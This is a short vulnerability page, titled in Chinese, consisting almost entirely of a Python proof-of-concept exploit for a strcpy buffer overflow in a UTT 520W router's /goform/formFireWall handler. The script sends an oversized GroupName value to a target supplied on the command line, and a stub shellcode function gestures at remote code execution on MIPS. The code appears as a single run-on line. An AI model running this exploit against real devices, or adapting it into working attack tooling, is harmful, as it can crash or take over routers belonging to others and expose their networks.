CVE-2026-0837 UTT路由器strcpy缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-0837 PoC - UTT Router Buffer Overflow in /goform/formFireWall Affected: UTT 进取 520W firmware 1.7.7-180627 CVSS Score: 8.8 (High) """ import requests import sys target = "http://target:80" # Generate payload with oversized GroupName parameter # The strcpy function will overflow the buffer payload_size = 500 payload = "A" * payload_size def exploit(): """Exploit the buffer overflow vulnerability in formFireWall""" url = f"{target}/goform/formFireWall" # Prepare the malicious request with oversized GroupName data = { "GroupName": payload, "fireWall": "1" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def generate_shellcode(): """Generate shellcode for remote code execution (placeholder)""" # MIPS shellcode for router architecture shellcode = b"\x00\x00\x00\x00" # NOP sled return shellcode if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit()